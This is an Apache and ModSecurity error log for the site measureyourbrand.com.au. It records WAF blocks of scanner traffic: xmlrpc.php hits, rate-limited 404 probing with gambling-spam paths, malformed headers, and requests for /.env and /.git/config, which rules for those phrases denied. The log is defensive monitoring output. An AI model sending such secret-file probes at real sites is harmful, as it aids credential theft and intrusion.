[Thu Apr 30 05:54:22.696111 2026] [:error] [pid 52436:tid 52452] [client 172.213.161.119:19523] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "afJ-DgLFWPk_P7AfE8fhsQAAAU0"]
[Thu Apr 30 06:08:08.521328 2026] [:error] [pid 52350:tid 52382] [client 49.235.136.28:40618] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afKBSP1j4GHE9hm7bfc7vQAAARg"]
[Thu Apr 30 12:08:28.326082 2026] [:error] [pid 18113:tid 18190] [client 172.213.161.119:2966] [client 172.213.161.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.213.161.119, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afLVvHiIjwsVGkvz5Il1zwAAAI0"]
[Thu Apr 30 12:08:30.424875 2026] [autoindex:error] [pid 18113:tid 18194] [client 172.213.161.119:2966] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Thu Apr 30 12:08:31.444127 2026] [:error] [pid 18113:tid 18195] [client 172.213.161.119:2966] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bk/index.php"] [unique_id "afLVv3iIjwsVGkvz5Il13AAAAJI"]
[Thu Apr 30 12:08:32.388421 2026] [:error] [pid 18111:tid 18143] [client 172.213.161.119:24529] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bk/index.php"] [unique_id "afLVwGctLbxB7Q1_oK3lPgAAABU"]
[Thu Apr 30 12:08:33.325550 2026] [:error] [pid 18113:tid 18196] [client 172.213.161.119:19172] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bk/index.php"] [unique_id "afLVwXiIjwsVGkvz5Il14wAAAJM"]
[Thu Apr 30 12:08:34.296360 2026] [:error] [pid 18111:tid 18136] [client 172.213.161.119:16390] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bk/index.php"] [unique_id "afLVwmctLbxB7Q1_oK3lRAAAAA4"]
[Thu Apr 30 14:51:14.690965 2026] [:error] [pid 53641:tid 53654] [client 43.157.38.228:52680] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afL74mC119wja3QGeAHUgQAAAYM"]
[Thu Apr 30 15:48:47.226848 2026] [:error] [pid 52436:tid 52446] [client 43.128.67.187:36040] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afMJXwLFWPk_P7AfE8coKQAAAUc"]
[Thu Apr 30 17:34:15.246777 2026] [:error] [pid 39912:tid 39979] [client 101.42.46.71:46396] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afMiF68-s8fTICYp_cuHTgAAAIg"]
[Thu Apr 30 19:42:39.009896 2026] [:error] [pid 5732:tid 5775] [client 162.62.132.25:57040] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afNAL9uJ3iSd5Gdjqlg9ggAAAMw"]
[Thu Apr 30 20:38:52.282716 2026] [:error] [pid 5820:tid 5824] [client 124.156.225.181:36022] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afNNXAyrLh3-LgH3Xv9MigAAAAI"]
[Thu Apr 30 20:39:20.279176 2026] [autoindex:error] [pid 6456:tid 6481] [client 80.241.213.248:57935] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 30 21:13:44.643733 2026] [:error] [pid 5731:tid 5751] [client 37.210.42.187:62474] [client 37.210.42.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.210.42.187, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afNViA8tX7TbSfYoUIxFZwAAAJA"]
[Thu Apr 30 21:35:04.531043 2026] [:error] [pid 5820:tid 5838] [client 105.102.15.139:60451] [client 105.102.15.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.102.15.139, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afNaiAyrLh3-LgH3Xv9ZHQAAABA"]
[Thu Apr 30 21:50:09.944030 2026] [:error] [pid 6456:tid 6461] [client 206.189.145.160:49862] [client 206.189.145.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.145.160, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afNeEUOBwsDodnkJK5xyQQAAAEM"], referer: https://meandyouthebook.com//blog//wp-login.php
[Thu Apr 30 21:56:43.151352 2026] [:error] [pid 6456:tid 6465] [client 152.58.187.81:53166] [client 152.58.187.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.187.81, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afNfm0OBwsDodnkJK5xzlAAAAEc"]
[Fri May 01 00:34:44.704251 2026] [:error] [pid 6456:tid 6465] [client 43.165.186.188:51500] [client 43.165.186.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afOEpEOBwsDodnkJK5ybQwAAAEc"]
[Fri May 01 02:59:18.414533 2026] [:error] [pid 5732:tid 5770] [client 163.7.4.226:43478] [client 163.7.4.226] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afOmhtuJ3iSd5Gdjqlh3LgAAAMc"]
[Fri May 01 04:56:40.235991 2026] [:error] [pid 38117:tid 38130] [client 92.53.64.155:58281] [client 92.53.64.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afPCCGhRYBrFpu8czJovlwAAAMU"]
[Fri May 01 06:15:33.772948 2026] [:error] [pid 38016:tid 38102] [client 170.106.163.84:57764] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afPUhZFc1DCPy0LM72bliwAAAJc"]
[Fri May 01 07:31:20.013989 2026] [:error] [pid 6046:tid 6086] [client 34.90.255.47:58258] [client 34.90.255.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afPmSIyBrpmb1HMIbiTyywAAAYI"]
[Fri May 01 11:44:00.505477 2026] [:error] [pid 25085:tid 25100] [client 170.106.84.136:54618] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afQhgPuD8fWRiE0RX0GHFAAAAUk"]
[Fri May 01 16:28:13.904916 2026] [:error] [pid 24996:tid 25043] [client 85.215.50.231:48178] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afRkHSDBq9mMfUWQQeox3AAAAI4"]
[Fri May 01 16:28:16.407887 2026] [:error] [pid 33791:tid 33805] [client 85.215.50.231:30460] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afRkIG9ixd-moLycM9C6twAAAAs"]
[Fri May 01 16:28:18.935918 2026] [:error] [pid 33791:tid 33802] [client 85.215.50.231:30474] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afRkIm9ixd-moLycM9C6vwAAAAg"]
[Fri May 01 16:28:21.451795 2026] [:error] [pid 25085:tid 25107] [client 85.215.50.231:30488] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afRkJfuD8fWRiE0RX0HVAAAAAVA"]
[Fri May 01 16:28:23.891964 2026] [:error] [pid 33791:tid 33796] [client 85.215.50.231:30504] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afRkJ29ixd-moLycM9C6yQAAAAI"]
[Fri May 01 16:28:26.361708 2026] [:error] [pid 24997:tid 25058] [client 85.215.50.231:58398] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afRkKvOkHa4ScY5oo8yWYwAAAMQ"]
[Fri May 01 16:28:28.868764 2026] [:error] [pid 25085:tid 25103] [client 85.215.50.231:58400] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afRkLPuD8fWRiE0RX0HVCAAAAUw"]
[Fri May 01 16:28:31.360793 2026] [:error] [pid 33791:tid 33811] [client 85.215.50.231:58410] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afRkL29ixd-moLycM9C64wAAABE"]
[Fri May 01 16:28:33.917898 2026] [:error] [pid 24996:tid 25048] [client 85.215.50.231:58420] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afRkMSDBq9mMfUWQQeox-AAAAJI"]
[Fri May 01 16:28:36.355934 2026] [:error] [pid 25085:tid 25096] [client 85.215.50.231:47792] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afRkNPuD8fWRiE0RX0HVDwAAAUU"]
[Fri May 01 16:28:38.855794 2026] [:error] [pid 24996:tid 25057] [client 85.215.50.231:47804] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afRkNiDBq9mMfUWQQeoyAQAAAJc"]
[Fri May 01 16:28:41.420477 2026] [:error] [pid 24997:tid 25063] [client 85.215.50.231:47820] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afRkOfOkHa4ScY5oo8yWbgAAAMc"]
[Fri May 01 16:28:44.112173 2026] [:error] [pid 24995:tid 25012] [client 85.215.50.231:47824] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afRkPOdJG9WB_Q_ne0uQugAAAE0"]
[Fri May 01 16:28:46.627173 2026] [:error] [pid 33791:tid 33805] [client 85.215.50.231:47358] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afRkPm9ixd-moLycM9C7DgAAAAs"]
[Fri May 01 16:28:49.191327 2026] [:error] [pid 24997:tid 25068] [client 85.215.50.231:47364] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afRkQfOkHa4ScY5oo8yWgAAAAMw"]
[Fri May 01 16:28:51.654096 2026] [:error] [pid 33791:tid 33804] [client 85.215.50.231:47368] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afRkQ29ixd-moLycM9C7IAAAAAo"]
[Fri May 01 16:28:54.039629 2026] [:error] [pid 24996:tid 25032] [client 85.215.50.231:47384] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afRkRiDBq9mMfUWQQeoyDgAAAIQ"]
[Fri May 01 16:28:56.465472 2026] [:error] [pid 24997:tid 25068] [client 85.215.50.231:9026] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afRkSPOkHa4ScY5oo8yWiwAAAMw"]
[Fri May 01 16:28:58.820766 2026] [:error] [pid 24996:tid 25043] [client 85.215.50.231:9030] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afRkSiDBq9mMfUWQQeoyEwAAAI4"]
[Fri May 01 16:29:01.297671 2026] [:error] [pid 25085:tid 25113] [client 85.215.50.231:9032] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afRkTfuD8fWRiE0RX0HVGwAAAVY"]
[Fri May 01 16:29:03.603346 2026] [:error] [pid 24996:tid 25031] [client 85.215.50.231:9042] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afRkTyDBq9mMfUWQQeoyFgAAAIM"]
[Fri May 01 16:29:05.964685 2026] [:error] [pid 33791:tid 33804] [client 85.215.50.231:50244] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afRkUW9ixd-moLycM9C7JgAAAAo"]
[Fri May 01 16:29:08.419460 2026] [:error] [pid 25085:tid 25111] [client 85.215.50.231:50256] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afRkVPuD8fWRiE0RX0HVIwAAAVQ"]
[Fri May 01 16:29:10.795334 2026] [:error] [pid 25085:tid 25114] [client 85.215.50.231:50266] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "afRkVvuD8fWRiE0RX0HVKgAAAVc"]
[Fri May 01 16:29:44.280833 2026] [:error] [pid 33791:tid 33798] [client 85.215.50.231:25794] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afRkeG9ixd-moLycM9C7VwAAAAQ"]
[Fri May 01 16:29:46.766511 2026] [:error] [pid 24997:tid 25074] [client 85.215.50.231:47938] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afRkevOkHa4ScY5oo8yWugAAANI"]
[Fri May 01 16:29:49.331461 2026] [:error] [pid 24997:tid 25072] [client 85.215.50.231:47950] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afRkffOkHa4ScY5oo8yWvwAAANA"]
[Fri May 01 16:29:51.859734 2026] [:error] [pid 33791:tid 33806] [client 85.215.50.231:47954] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afRkf29ixd-moLycM9C7XAAAAAw"]
[Fri May 01 16:29:54.212467 2026] [:error] [pid 24995:tid 25020] [client 85.215.50.231:47966] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afRkgudJG9WB_Q_ne0uQ1wAAAFU"]
